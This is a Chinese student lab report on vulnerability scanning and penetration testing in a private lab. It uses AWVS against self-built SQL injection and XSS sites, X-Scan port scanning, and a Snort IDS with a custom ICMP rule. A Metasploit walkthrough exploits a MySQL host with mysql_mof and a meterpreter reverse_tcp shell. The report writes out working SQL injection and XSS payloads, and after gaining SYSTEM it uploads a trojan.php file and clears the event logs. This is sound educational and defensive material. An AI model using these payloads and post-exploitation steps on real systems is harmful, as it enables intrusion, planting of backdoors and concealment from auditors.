网络扫描实验

实验内容

  1. 了解网站Sql注入漏洞XSS漏洞原理,通过AWVS软件对目标网站进行漏洞扫描实验,分析Sql注入漏洞XSS漏洞扫描的原理及结果。
  2. xscannessus软件进行主机、端口、漏洞扫描实验,捕获扫描时交互的数据包,通过分析扫描数据包,验证扫描原理。
  3. WindowsLinux平台搭建Snort IDS,自己编写检测规则文件,对xscannessus软件网络扫描进行检测。
  4. 了解Metasploit Framework渗透测试工具,对mysql数据库漏洞进行渗透测试。

AWVS扫描漏洞

通过AWVS软件对目标网站进行漏洞扫描实验,分析Sql注入漏洞和XSS漏洞扫描的原理及结果。

  1. 自己搭建SQL注入攻击漏洞网站:http://10.122.251.244/SQL/(已无法访问)并使用AWVS进行扫描。查看扫描结果,发现网站存在SQL注入漏洞。

    1565689438814

  2. 分析SQL注入漏洞,当在输入框中输入1' OR 3*2*1=6 AND 000429=000429--以绕过检测,直接登录。将输入的语句放在php语句中:

    1
    2
    $sql="select* from users where username='1' OR 3*2*1=6 AND
    000429=000429 **--**' and password='$pwd'";

    该语句恒为true,故可以绕过验证直接登录。

    1565689649032

  3. 尝试在URL输入栏中输入:

    http://10.122.251.244/sql/test.php?password=g00dPa%24%24w0rD&username=-1'%20OR%203*2*1%3d6%20AND%20000567%3d000567%20--%20 , 可以绕验证登录成功,同时说明了SQL注入攻击是通过输入改变后台SQL语句内容达到攻击目标数据库的目的。

    1565689780827

  4. 自己搭建xss漏洞网站:http://10.122.251.244/XSS/(已无法访问)并使用AWVS进行扫描。查看扫描结果,发现网站存在XSS漏洞。

    1565689840077

  5. 发现网页的输入框存在跨站脚本攻击,点击右侧的view HTML response,弹出对话框,攻击成功。

    1565689894657

  6. 按照说明点击launch the attack with http editor,发送报文,未弹出对话框,但是网页内容得到更改。

    1565689953549

  7. 在浏览器的URL栏输入内容如下http://10.122.251.244//xss/index.php?input=1'%22()%26%25prompt(“xss”)prompt(“xss”)</ScRiPt)>,成功弹出对话框,xss攻击成功。

    1565690032102

  8. xss攻击原理是通过对网页注入可执行代码且成功地被浏览器执行,达到攻击的目的,而上面的攻击就是通过一个get请求输入一串可执行的script代码且成功被执行:输入的代码可执行代码是<ScRiPt%20>prompt("XSS")</ScRiPt>,即执行弹出框,内容是xss。

    1565690254180

x-Scan漏洞扫描

用x-Scan软件进行主机、端口、漏洞扫描。

  1. x-Scan软件扫描漏洞原理

    1. 首先对主机进行端口扫描,确定系统开放的端口;
    2. 然后对开放的端口进行网络服务类型的识别,确定其提供的网络服务;
    3. 根据目标提供的网络服务,调用漏洞资料库中已知的各种漏洞进行逐一检测,通过对探测响应数据包的分析判断是否存在已知安全漏洞。
  2. windows7虚拟机内运行X-Scan,并配置检测IP地址:192.168.88.132

    1565690455956

  3. 配置扫描模块:漏洞检测脚本。

    1565690493036

  4. 扫描端口范围设置为1-65536,检测方式选择默认TCP。

    1565690527344

  5. 进行扫描。

    1565690553808

  6. 扫描完成,网页显示出被检测主机的详细漏洞信息,并给出了安全漏洞的详细信息及解决方案。

    1565690585737

  7. 扫描过程中使用Wireshark进行抓包。

    1565690617576

    1565690636729

  8. 分析wireshark捕获的数据包,发现扫描器先与目标主机在不同的端口建立不同的TCP连接,然后根据端口提供的网络服务类型调用漏洞资料库中已知的各种漏洞进行逐一检测,通过对探测响应数据包的分析判断是否存在已知安全漏洞。例如在扫描135端口时先在135端口上建立TCP连接,然后发送不同类型的协议请求(如DCERPC协议、EPM协议)来检测漏洞。

    1565690674299

搭建Snort IDS

  1. IDS简介:

    入侵检测系统(Intrusion Detection System,IDS)的作用是监控网络和计算机系统是否出现被入侵或滥用的征兆。IDS系统不需要人工干预就可以不间断的地运行,能够发现异于正常的行为的操作。

  2. 实验环境:
    服务平台:windows 2003 (安装Snort)(192.168.88.143)
    攻击平台:windows 7 (测试snort)(192.168.88.145)
    软件版本: snort2.8.0.2apache2.2.8php5.2mysql5.0winpcap4.0.2acid0.9adodb5jpgraph2.3

  3. 在windows 2003上搭建Snort环境完成后,在目录:C:\ids\Snort\bin下打开命令行,输入snort -W,出现如下图案,说明snort安装成功。

    1565690887062

  4. 在目录文件C:\ids\Snort\rules\local.rules上添加一个规则:alert icmp any any -> $HOME_NET any (msg:"icmp Packet";sid:1234567890;rev:1;),捕获任意主机发送到该主机的ICMP包。

    1565690945779

  5. 在目录:C:\ids\Snort\bin下打开命令行,输入snort -i2 -l c:\ids\snort\log\ -c c:\ids\snort\etc\snort.conf -dev -p,运行snort。

    1565690993993

  6. Windows7主机对windows xp主机进行ping命令测试。

    1565691019631

  7. 在windows 2003上打开网页:http://localhost/acid/acid_main.php,检测到ICMP包,分析为192.168.88.145,发送至192.168.143

    1565691068262

    1565691085455

    1565691111110

  8. 由于使用snort规则不熟练简单写了嗅探TCPUDPICMP的规则,嗅探来自任何主机发送至该主机的数据包。

    1565691163321

  9. 使用windows7对windows 2003进行X-scan扫描,同时开启snort扫描,X-scan扫描结果如下。

    1565691191082

  10. Snort嗅探结果如下,可以看出X-scan发出的基本上是TCP包

    1565691229389

  11. 截取捕获的部分TCP包如下,可以看出检测端口非常多。

    1565691265544

  12. 点击一个TCP包,具体信息如下,从192.168.88.143292端口发送至192.168.88.14551097端口。

    1565691312746

  13. 查看源IP地址如下,其中192.168.88.1是这次检测发送的源地址,192.149.252.21描述的是gm2.arin.net,不知道为什么会出现这个地址。

    1565691362079

  14. 源端口有4695个,其中UDP端口2个,目的端口有3379个,其中UDP端口2个,基本上使用的是TCP端口。

    1565691387127

mysql数据库漏洞渗透

了解Metasploit Framework渗透测试工具,对mysql数据库漏洞进行渗透测试。

测试环境

  • 攻击机:Kali linux(攻击机和靶机位于同一局域网下)
  • 靶机:windows xp (安装mysql5.5.19)
  • 工具:MetaspolitMetaspolit是一款开源的安全漏洞检测工具,其集成了各种平台上常见的溢出漏洞和流行的shellcode,并不断提供更新。

漏洞编号

mysql 5.5.19版本存在的CVE-2012-5613权限提升漏洞

信息收集

利用metaspolit辅助模块auxiliary,对目标进行信息收集。

  1. 输入msfconsole,运行metaspolit

    1565691796739

  2. 输入show auxiliary,查看所有辅助模块。

    1565691835467

  3. 使用辅助模块:MySQL Server Version Enumeration,查看靶机的mysql版本信息。

    1565691867189

  4. 输入命令:use auxiliary/scanner/mysql/mysql_version,调用MySQL Server Version Enumeration模块,输入命令show options,展示设置项。

    1565691923481

  5. 端口为3306,线程为1,数据库连接端口,没有目标主机IP,设置扫描192.168.88.2-254,并再次显示设置项,设置成功。

    1565691970562

  6. 输入命令exploit,进行扫描。扫描结束后,发现IP地址为192.168.88.128的主机上的mysql版本为5.5.19,存在CVE-2012-5613漏洞。

    1565692007318

漏洞利用

  1. 退回到msf,输入search mysql,检索metaspolit中集成的有关mysql的模块。

    1565692097710

  2. 选择exploit/windows/mysql/mysql_mof对目标主机进行本地提权,输入命令use exploit/windows/mysql/mysql_mof使用该模块,输入命令show options,展示设置项。

    1565692150667

  3. 发现用户名、密码、IP地址都没有输入,利用命令set输入用户名root,密码root,IP地址:192.168.88.128

    1565692208251

  4. 选择加载模块payloads, 输入命令show payloads,查看metaspolit集成的加载模块。

    1565692245049

  5. 选择加载模块windows/meterpreter/reverse_tcp,输入命令:set payload
    windows/meterpreter/reverse_tcp,输入命令show options,展示设置项,监听端口为4444

    1565692329433

  6. 未设置监听地址LHOST,利用命令set设置监听地址为攻击机IP:192.168.88.130

    1565692388669

    1565692402487

  7. 输入exploit进行攻击,连接成功,开始使用meterpreter工具。

    1565692436217

  8. 输入getuid,查看当前用户ID,发现为Server username: NT AUTHORITY\SYSTEM,拥有最高权限。

    1565692472731

  9. 输入pwd查看当前目录为C:\WINDOWS\system32

    1565692507605

  10. 输入命令upload /root/trojan.php C:\, 将攻击机上的文件上传至靶机。

    1565692637821

  11. 输入clearev清除日志记录。

    1565692665054

总结

​ 通过AWVS软件对目标网站进行漏洞扫描,对于Sql注入漏洞XSS漏洞原理有了更深的理解。通过分析分析扫描数据包,了解了x-scan的漏洞扫描原理。在搭建Snort IDS环境的过程中,由于软件不兼容,出现了一些问题,后期得到解决,在编写检测规则文件过程中,了解了snort的编写规则,在探测过程中,了解了Snort的使用原理,意识到了Snort的强大功能。通过对mysql数据库漏洞进行渗透测试,认识到了Metasploit Framework渗透测试工具的强大,同时意识到了提权漏洞CVE-2012-5613的危害性。